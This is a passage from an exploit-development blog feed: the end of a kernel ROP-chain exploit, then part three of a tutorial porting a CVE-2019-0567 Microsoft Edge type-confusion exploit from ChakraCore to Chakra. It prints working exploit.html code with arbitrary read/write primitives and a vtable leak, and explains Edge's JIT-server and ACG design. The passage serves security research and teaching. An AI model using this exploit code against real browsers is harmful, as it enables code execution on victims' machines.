	<span class="n">BOOL</span> <span class="n">createROP</span> <span class="o">=</span> <span class="n">constructROPChain</span><span class="p">(</span><span class="n">driverHandle</span><span class="p">,</span> <span class="n">getthreadHandle</span><span class="p">,</span> <span class="n">kthread</span><span class="p">,</span> <span class="n">ntBase</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">createROP</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to construct the ROP chain. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Peace, love, and positivity :-).</p>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Dealing with Virtualization-Based Security (VBS), Hypervisor-Protected Code Integrity (HVCI), and Kernel Control Flow Guard (kCFG).]]></summary></entry><entry><title type="html">Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 3)</title><link href="/type-confusion-part-3/" rel="alternate" type="text/html" title="Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 3)" /><published>2022-04-07T00:00:00+00:00</published><updated>2022-04-07T00:00:00+00:00</updated><id>/type-confusion-part-3</id><content type="html" xml:base="/type-confusion-part-3/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>In <a href="https://connormcgarr.github.io/type-confusion-part-1/">part one</a> of this blog series on “modern” browser exploitation, targeting Windows, we took a look at how JavaScript manages objects in memory via the Chakra/ChakraCore JavaScript engine and saw how type confusion vulnerabilities arise. In <a href="https://connormcgarr.github.io/type-confusion-part-2/">part two</a> we took a look at Chakra/ChakraCore exploit primitives and turning our type confusion proof-of-concept into a working exploit on ChakraCore, while dealing with ASLR, DEP, and CFG. In part three, this post, we will close out this series by making a few minor tweaks to our exploit primitives to go from ChakraCore to Chakra (the closed-source version of ChakraCore which Microsoft Edge runs on in various versions of Windows 10). After porting our exploit primitives to Edge, we will then gain full code execution while bypassing Arbitrary Code Guard (ACG), Code Integrity Guard (CIG), and other minor mitigations in Edge, most notably “no child processes” in Edge. The final result will be a working exploit that can gain code execution with ASLR, DEP, CFG, ACG, CIG, and other mitigations enabled.</p>

<h2 id="from-chakracore-to-chakra">From ChakraCore to Chakra</h2>
<p>Since we already have a working exploit for ChakraCore, we now need to port it to Edge. As we know, Chakra (Edge) is the “closed-source” variant of ChakraCore. There are not many differences between how our exploits will look (in terms of exploit primitives). The only thing we need to do is update a few of the offsets from our ChakraCore exploit to be compliant with the version of Edge we are exploiting. Again, as mentioned in part one, we will be using an <em>UNPATCHED</em> version of Windows 10 1703 (RS2). Below is an output of <code class="language-plaintext highlighter-rouge">winver.exe</code>, which shows the build number (<code class="language-plaintext highlighter-rouge">15063.0</code>) we are using. The version of Edge we are using has no patches and no service packs installed.</p>

<p><img src="/images/3typeconfusion1.png" alt="" /></p>

<p>Moving on, below you can find the code that we will be using as a template for our exploitation. We will name this file <code class="language-plaintext highlighter-rouge">exploit.html</code> and save it to our Desktop (feel free to save it anywhere you would like).</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Nothing about this code differs in the slightest from our previous <code class="language-plaintext highlighter-rouge">exploit.js</code> code, except for the fact we are now using an HTML, as obviously this is the type of file Edge expects as it’s a web browser. This also means that we have replaced <code class="language-plaintext highlighter-rouge">print()</code> functions with proper <code class="language-plaintext highlighter-rouge">document.write()</code> HTML methods in order to print our exploit output to the screen. We have also added a <code class="language-plaintext highlighter-rouge">&lt;script&gt;&lt;/script&gt;</code> tag to allow us to execute our malicious JavaScript in the browser. Additionally, we added functionality in the <code class="language-plaintext highlighter-rouge">&lt;button onclick="main()"&gt;Click me to exploit CVE-2019-0567!&lt;/button&gt;</code> line, where our exploit won’t be executed as soon as the web page is opened. Instead, this button allows us choose when we want to detonate our exploit. This will aid us in debugging as we will see shortly.</p>

<p>Once we have saved <code class="language-plaintext highlighter-rouge">exploit.html</code>, we can double-click on it and select Microsoft Edge as the application we want to open it with. From there, we should be presented with our <code class="language-plaintext highlighter-rouge">Click me to exploit CVE-2019-0567</code> button.</p>

<p><img src="/images/3typeconfusion2.png" alt="" /></p>

<p><img src="/images/3typeconfusion3.png" alt="" /></p>

<p>After we have loaded the web page, we can then click on the button to run the code presented above for <code class="language-plaintext highlighter-rouge">exploit.html</code>.</p>

<p><img src="/images/3typeconfusion4.png" alt="" /></p>

<p>As we can see, everything works as expected (per our post number two in this blog series) and we leak the <code class="language-plaintext highlighter-rouge">vftable</code> from one of our <code class="language-plaintext highlighter-rouge">DataView</code> objects, from our exploit primitive, which is a pointer into <code class="language-plaintext highlighter-rouge">chakra.dll</code>. However, as we are exploiting Edge itself now and not the ChakraCore engine, computation of the base address of <code class="language-plaintext highlighter-rouge">chakra.dll</code> will be <em>slightly</em> different. To do this, we need to debug Microsoft Edge in order to compute the distance between our leaked address and <code class="language-plaintext highlighter-rouge">chakra.dll</code>’s base address. With that said, we will need to talk about debugging Edge in order to compute the base address of <code class="language-plaintext highlighter-rouge">chakra.dll</code>.</p>

<p>We will begin by making use of <a href="https://processhacker.sourceforge.io/downloads.php">Process Hacker</a> to aid in our debugging. After downloading Process Hacker, we can go ahead and start it.</p>

<p><img src="/images/3typeconfusion5.png" alt="" /></p>

<p>After starting Process Hacker, let’s go ahead and re-open <code class="language-plaintext highlighter-rouge">exploit.html</code> but <em>do not</em> click on the <code class="language-plaintext highlighter-rouge">Click me to exploit CVE-2019-0567</code> button yet.</p>

<p><img src="/images/3typeconfusion3.png" alt="" /></p>

<p>Coming back to Process Hacker, we can see two <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> processes and a <code class="language-plaintext highlighter-rouge">MicrosoftEdge.exe</code> process.</p>

<p><img src="/images/3typeconfusion6.png" alt="" /></p>

<p>Where do these various processes come from? As the <code class="language-plaintext highlighter-rouge">CP</code> in <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> infers, these are Microsoft Edge content processes. A content process, also known as a renderer process, is the actual component of the browser which executes the JavaScript, HTML, and CSS code a user interfaces with. In this case, we can see two <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> processes. One of these processes refers to the actual content we are seeing (the actual <code class="language-plaintext highlighter-rouge">exploit.html</code> web page). The other <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> process is technically not a content process, per se, and is actually the out-of-process JIT server which we talked about previously in this blog series. What does this actually mean?</p>

<p>JIT’d code is code that is generated as readable, writable, and executable (RWX). This is also known as “dynamic code” which is generated at runtime, and it doesn’t exist when the Microsoft Edge processes are spawned. We will talk about Arbitrary Code Guard (ACG) in a bit, but at a high level ACG prohibits any dynamic code (amongst other nuances we will speak of at the appropriate time) from being generated which is readable, writable, and executable (RWX). Since ACG is a mitigation, which was actually developed with browser exploitation and Edge in mind, there is a slight usability issue. Since JIT’d code is a <em>massive</em> component of a modern day browser, this automatically makes ACG incompatible with Edge. If ACG is enabled, then how can JIT’d code be generated, as it is RWX? The solution to this problem is by leveraging an out-of-process JIT server (located in the second <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> process).</p>

<p>This JIT server process has Arbitrary Code Guard <em>disabled</em>. The reason for this is because the JIT process doesn’t handle any execution of “untrusted” JavaScript code - meaning the JIT server can’t really be exploited by browser exploitation-related primitives, like a type confusion vulnerability (we will prove this assumption false with our ACG bypass). The reason is that since the JIT process doesn’t execute any of that JavaScript, HTML, or CSS code, meaning we can infer the JIT server doesn’t handled any “untrusted code”, a.k.a JavaScript provided by a given web page, we can infer that any code running within the JIT server is “trusted” code and therefore we don’t need to place “unnecessary constraints” on the process. With the out-of-process JIT server having no ACG-enablement, this means the JIT server process is now compatible with “JIT” and can generate the needed RWX code that JIT requires. The main issue, however, is how do we get this code (which is currently in a separate process) into the appropriate content process where it will actually be executed?</p>

<p>The way this works is that the out-of-process JIT server will actually take any JIT’d code that needs to be executed, and it will inject it into the content processes that contain the JavaScript code to be executed with proper permissions that are ACG complaint (generally readable/executable). So, at a high level, this out-of-process JIT server performs process injection to map the JIT’d code into the content processes (which has ACG enabled). This allows the Edge content processes, which are responsible for handling untrusted code like a web page that hosts malicious JavaScript to perform memory corruption (e.g. <code class="language-plaintext highlighter-rouge">exploit.html</code>), to have full ACG support.</p>

<p>Lastly, we have the <code class="language-plaintext highlighter-rouge">MicrosoftEdge.exe</code> process which is known as the browser process. It is the “main” process which helps to manage things like network requests and file access.</p>

<p>Armed with the above information, let’s now turn our attention back to Process Hacker.</p>

<p><img src="/images/3typeconfusion6.png" alt="" /></p>

<p>The obvious point we can make is that when we do our exploit debugging, we know the content process is responsible for execution of the JavaScript code within our web page - meaning that it is the process we need to debug as it will be responsible for execution of our exploit. However, since the out-of-process JIT server is technically named as a content process, this makes for two instances of <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code>. How do we know which is the out-of-process JIT server and which is the actual content process? This probably isn’t the best way to tell, but the way I figured this out with approximately 100% accuracy is by looking at the two content processes (<code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code>) and determining which one uses up more RAM. In my testing, the process which uses up more RAM is the target process for debugging (as it is significantly more, and makes sense as the content process has to load JavaScript, HTML, and CSS code into memory for execution). With that in mind, we can break down the process tree as such (based on the Process Hacker image above):</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">MicrosoftEdge.exe</code> - PID <code class="language-plaintext highlighter-rouge">3740</code> (browser process)</li>
  <li><code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> - PID <code class="language-plaintext highlighter-rouge">2668</code> (out-of-process JIT server)</li>
  <li><code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> - PID <code class="language-plaintext highlighter-rouge">2512</code> (content process - our “exploiting process” we want to debug).</li>
</ol>

<p>With the aforementioned knowledge we can attach PID <code class="language-plaintext highlighter-rouge">2512</code> (our content process, which will likely differ on your machine) to WinDbg and know that this is the process responsible for execution of our JavaScript code. More importantly, this process loads the Chakra JavaScript engine DLL, <code class="language-plaintext highlighter-rouge">chakra.dll</code>.</p>

<p><img src="/images/3typeconfusion7.png" alt="" /></p>

<p><img src="/images/3typeconfusion8.png" alt="" /></p>

<p>After confirming <code class="language-plaintext highlighter-rouge">chakra.dll</code> is loaded into the process space, we then can click out <code class="language-plaintext highlighter-rouge">Click me to exploit CVE-2019-0567</code> button (you may have to click it twice). This will run our exploit, and from here we can calculate the distance to <code class="language-plaintext highlighter-rouge">chakra.dll</code> in order to compute the base of <code class="language-plaintext highlighter-rouge">chakra.dll</code>.</p>

<p><img src="/images/3typeconfusion9.png" alt="" /></p>

<p><img src="/images/3typeconfusion10.png" alt="" /></p>

<p>As we can see above, the leaked <code class="language-plaintext highlighter-rouge">vftable</code> pointer is <code class="language-plaintext highlighter-rouge">0x5d0bf8</code> bytes away from <code class="language-plaintext highlighter-rouge">chakra.dll</code>. We can then update our exploit script to the following code, and confirm this to be the case.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
